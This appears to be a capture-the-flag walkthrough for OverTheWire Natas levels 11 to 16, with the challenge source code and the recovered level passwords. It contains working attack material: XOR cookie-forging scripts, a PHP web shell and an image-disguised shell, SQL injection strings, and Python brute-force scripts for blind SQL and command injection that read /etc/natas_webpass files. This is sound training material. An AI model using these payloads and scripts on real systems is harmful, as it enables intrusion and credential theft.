IDEA I/O home  | cheat sheets  | github

Overthewire Natas Walkthrough Level 11 to 16

Table of Contents generated with DocToc

A walkthrough for level 11 to level 16 of Natas Overthewire challenges

Introduction

Changelog

Level 11

Natas 11
Natas 11
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}
saveData($data);
?>

In order to get the password we have to do two things:

Reversing the XOR encrypt function

Natas 11 XOR Truth Table
Natas 11 XOR Truth Table
<?php

function xor_encrypt($in) {
    $key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

$decoded = xor_encrypt(base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'));
print($decoded);
?>
$ php -f xor_decrypt.php
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq%  
<?php

function xor_encrypt($in) {
    // replace <censored> with the actual key
    $key = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

// set the showpassword parameter to yes in $data
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$cookie = base64_encode(xor_encrypt(json_encode($data)));
print($cookie);
?>
$ php -f generate_cookie.php
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK    
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 

Level 12

Natas 12
Natas 12
<? 

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";    

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?> 
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form> 

Code analysis

Lets walk through the code to see how it works.

Upload a PHP shell

From the code walk through we learn that the file extension is only initially set in the form as a hidden input parameter and not verified on any step in the code. That means we can intercept the request to the server, change the file extension to .php and upload a small PHP script to get access.

 <?  
 passthru($_GET['cmd']);  
 ?>  
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 

Lessons learned

Level 13

Natas 13
Natas 13
    else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image"; 

Upload a GIF PHP Image

GIF89a
<?  
    passthru($_GET['cmd']);  
?>  

Mini tutorial, testing the exif_imagetype() function locally

<?php
    $options = getopt("f:");

    $filename = $options["f"];
    printf("Filename is: %s\n", $filename);

    if (! exif_imagetype($filename)){
        printf("File %s is not an image!\n", $filename);
    }
    else {
        printf("File %s is an image!\n", $filename);
    }
?>
$ php check_image.php -f image.php
Filename is: image.php
File image.php is an image!

Lessons learned

Natas 14

Natas 14
Natas 14
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>"; 

SQL Injection

SELECT * from users where username="TEST' OR 1=1 -- SELECT * from users" and password=""
Executing query: SELECT * from users where username="TEST" OR 1=1 -- SELECT * from users" and password=""
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Lessons learned

Natas 15

Natas 15
Natas 15

Code Analysis

<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 

Blind SQL injection (brute force password)

Length of the password

Cracking the password

For this I created the little python script below.

#!/usr/bin/python

import requests

def password_like(password):
    """
    Check if the password contains the supplied string.
    """
    url = "http://natas15.natas.labs.overthewire.org/index.php"
    sql_inject_query = 'natas16" AND password LIKE BINARY "' + password + '%'

    payload = {'username': sql_inject_query}
    r = requests.post(url,
                      data=payload,
                      auth=('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'))
    if "This user doesn't exist" in r.text:
        return False
    else:
        print "Password is: " + password
        # print "Password length: " + str(len(password))
        return True


def main():
    """
    main function
    """
    possible_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    password=""

    while len(password) < 33:
        for c in possible_chars:
            if password_like(password+c):
                password = password + c
                continue

if __name__ == '__main__':
    main()

The script returns the output:

Password is: W
Password is: Wa
Password is: WaI
Password is: WaIH
Password is: WaIHE
Password is: WaIHEa
Password is: WaIHEac
Password is: WaIHEacj
Password is: WaIHEacj6
Password is: WaIHEacj63
Password is: WaIHEacj63w
Password is: WaIHEacj63wn
Password is: WaIHEacj63wnN
Password is: WaIHEacj63wnNI
Password is: WaIHEacj63wnNIB
Password is: WaIHEacj63wnNIBR
Password is: WaIHEacj63wnNIBRO
Password is: WaIHEacj63wnNIBROH
Password is: WaIHEacj63wnNIBROHe
Password is: WaIHEacj63wnNIBROHeq
Password is: WaIHEacj63wnNIBROHeqi
Password is: WaIHEacj63wnNIBROHeqi3
Password is: WaIHEacj63wnNIBROHeqi3p
Password is: WaIHEacj63wnNIBROHeqi3p9
Password is: WaIHEacj63wnNIBROHeqi3p9t
Password is: WaIHEacj63wnNIBROHeqi3p9t0
Password is: WaIHEacj63wnNIBROHeqi3p9t0m
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5n
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nh
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nhm
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

So, the password for the next level is: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Lessons learned

Natas 16

Natas 16
Natas 16

The site shows a simple form to lookup words containing a string. The site filters out certain characters: For security reasons, we now filter even more on certain characters.

Source Code Analysis

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
  1. The code checks if the parameter needle is present in the request.
  2. It checks if one of the characters ;, | or & is present in the input string.
    1. If yes it aborts the script.
    2. It is still possible to execute shellcode, for example with $().
  3. It uses the input as a grep parameter.

Getting the password file

With the $() option as only option left to execute bash code it is not possible to get the content of the password file directly. However, it is possible to use contents of the password file and supply them as argument to grep and this can be used to guess contents of the password file and get feedback what guesses were correct.

The basic guessing flow would be like this: * Take a unique word from the dictionary for example Europeans. * Grep for this word and some string that is known from the password and a new character. * Start with an empty password in the beginning. * Check if the results page contains the word Europeans or not. * If yes the guess was not correct. * If no the guess was correct.

This guessing can be done with the script below:

#!/usr/bin/python

import requests

def password_like(password):
    """
    Check if the password contains the supplied string.
    """
    url = "http://natas16.natas.labs.overthewire.org/index.php"
    query = "Europeans$(grep ^%s /etc/natas_webpass/natas17)" % (password)
    payload = {'needle': query}
    r = requests.post(url,
                      data=payload,
                      auth=('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'))

    if "Europeans" in r.text:
        return False
    else:
        return True


def main():
    """
    main function
    """
    possible_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    password=""

    for num in range (0,33):
        for char in possible_chars:
            if password_like(password + char):
                password = password + char
                print password


if __name__ == '__main__':
    main()

The script produced the output below:

8
8P
8Ps
8Ps3
8Ps3H
8Ps3H0
8Ps3H0G
8Ps3H0GW
8Ps3H0GWb
8Ps3H0GWbn
8Ps3H0GWbn5
8Ps3H0GWbn5r
8Ps3H0GWbn5rd
8Ps3H0GWbn5rd9
8Ps3H0GWbn5rd9S
8Ps3H0GWbn5rd9S7
8Ps3H0GWbn5rd9S7G
8Ps3H0GWbn5rd9S7Gm
8Ps3H0GWbn5rd9S7GmA
8Ps3H0GWbn5rd9S7GmAd
8Ps3H0GWbn5rd9S7GmAdg
8Ps3H0GWbn5rd9S7GmAdgQ
8Ps3H0GWbn5rd9S7GmAdgQN
8Ps3H0GWbn5rd9S7GmAdgQNd
8Ps3H0GWbn5rd9S7GmAdgQNdk
8Ps3H0GWbn5rd9S7GmAdgQNdkh
8Ps3H0GWbn5rd9S7GmAdgQNdkhP
8Ps3H0GWbn5rd9S7GmAdgQNdkhPk
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Therefore the password for level 17 is 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw.

Lessons learned